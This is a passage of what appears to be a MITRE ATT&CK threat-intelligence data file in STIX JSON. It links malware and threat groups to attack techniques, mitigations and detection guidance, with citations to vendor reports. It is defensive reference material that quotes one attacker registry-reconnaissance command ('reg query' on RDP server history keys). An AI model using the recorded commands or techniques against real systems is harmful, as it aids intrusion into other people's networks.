Suppliers. Retrieved April 8, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"}],"modified":"2020-03-17T16:17:38.050Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about running processes.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ac62413-be9a-40ef-996d-017c04f04d5b","type":"relationship","created":"2020-11-12T17:08:43.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."},{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. 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When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9438f268-3827-435b-98b5-79dbc0ee5213","type":"relationship","created":"2020-11-10T16:49:13.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. 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Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7cf6c6b-d777-4c61-b760-e8c6a5c48488","type":"relationship","created":"2019-06-14T16:45:33.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html","source_name":"PWC KeyBoys Feb 2017"},{"description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. 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Retrieved September 23, 2019."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:48:21.071Z","description":"[APT41](https://attack.mitre.org/groups/G0096) deployed rootkits on Linux systems.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1232c797-ebf4-4036-9ebb-a65fbe8b1443","type":"relationship","created":"2020-05-18T21:01:51.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.527Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used the <code>ps</code> command to monitor the running processes on the system.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--342502b6-c8fc-4ed5-ba10-209a824b78ed","type":"relationship","created":"2019-04-23T18:41:37.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2019-04-29T21:19:34.918Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) initially downloads a hidden encoded file.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9abd0448-a3b7-4262-8753-fe81dc91c434","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Respond Webinar July 2017","description":"Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.","url":"https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"},{"url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","source_name":"DarkReading FireEye FIN5 Oct 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. 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(2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","source_name":"Kaspersky Flame"},{"url":"https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/","description":"Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice…. Retrieved March 1, 2017.","source_name":"Kaspersky Flame Functionality"}],"modified":"2019-06-06T14:35:53.951Z","description":"[Flame](https://attack.mitre.org/software/S0143) can record audio using any existing hardware recording devices.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24580154-43e3-4194-b840-d3c7924bc797","type":"relationship","created":"2022-03-04T18:56:38.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-08T20:58:13.597Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f33e27a-6fdf-4121-9e25-a307910b118f","type":"relationship","created":"2021-02-08T22:05:36.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T22:05:36.561Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d3fee1f-1c19-4ad8-9cd9-e5b00e5b040a","type":"relationship","created":"2019-01-30T13:24:09.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.683Z","description":"[Octopus](https://attack.mitre.org/software/S0340) can collect information on the Windows directory and searches for compressed RAR files on the host.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--664006e4-dd30-4023-b3a3-659eb6adcd02","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2034fc3-e721-42ce-be50-d58668c5da4b","type":"relationship","created":"2021-09-29T00:30:23.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-29T00:30:23.818Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has decoded strings from the C2 server before executing commands.(Citation: Checkpoint IndigoZebra July 2021) ","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eca046f5-9175-4010-8297-07281f588934","type":"relationship","created":"2021-03-19T21:04:01.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."},{"source_name":"Secureworks GOLD CABIN","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin","description":"Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:01.283Z","description":"(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)(Citation: Secureworks GOLD CABIN)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c495478b-6bae-4d1e-a43e-be07fe7cdb48","type":"relationship","created":"2021-01-22T21:09:58.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Chimera January 2021","url":"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2021-01-22T21:09:58.863Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has queried Registry keys using <code>reg query \\\\<host>\\HKU\\<SID>\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers</code> and <code>reg query \\\\<host>\\HKU\\<SID>\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings</code>.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0bf84db-5482-4bc2-a53f-46d988e4f688","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:58.014Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) is obfuscated using the obfuscation tool called ConfuserEx.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9e7b8b3-6275-4c26-b9d2-4adfa1143c1b","type":"relationship","created":"2020-11-18T19:55:02.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:03:12.922Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can decrypt downloaded payloads. [Bazar](https://attack.mitre.org/software/S0534) also resolves strings and API calls at runtime.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--005cbf7d-9d0b-443b-91db-7b148a1eb55b","type":"relationship","created":"2019-06-05T14:33:01.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.402Z","description":"[njRAT](https://attack.mitre.org/software/S0385) enumerates the victim operating system and computer name during the initial infection.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dde93711-fffc-4426-8e23-7de234278302","created":"2022-04-11T00:21:09.138Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to create a new process using `rundll32`.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:21:09.138Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee500581-0b91-42ab-bc1f-0a10a3af47c4","type":"relationship","created":"2021-01-14T19:48:09.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T19:48:09.355Z","description":"(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2020-05-29T18:11:24.446Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) obtains the system time and will only activate if it is greater than a preset date.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--007cc21a-685a-4701-99c1-20f258cedc7c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. 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Retrieved October 19, 2020."}],"modified":"2022-02-17T19:50:47.164Z","description":"Apply extended ACLs to block unauthorized protocols outside the trusted network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4988b61b-6496-4a74-9d91-e1d3b352f5ef","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.","source_ref":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6efcb476-efdb-414c-80f8-66fe84f7c7e3","type":"relationship","created":"2021-08-23T19:38:33.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. 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(2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020."}],"modified":"2022-03-25T13:18:55.248Z","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) has used PowerShell to add and delete rules in the Windows firewall.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--db1f0baf-27ee-4e1c-9d8f-6a82918b5f0f","created":"2022-03-25T00:25:48.864Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) tracks `TrustedHosts` and can move laterally to these targets via WinRM.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-14T17:34:32.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a79ff150-e765-4303-9668-ff553d6000cd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.449Z","description":"[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb08d927-7963-4246-a672-4757ea7b6e29","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic 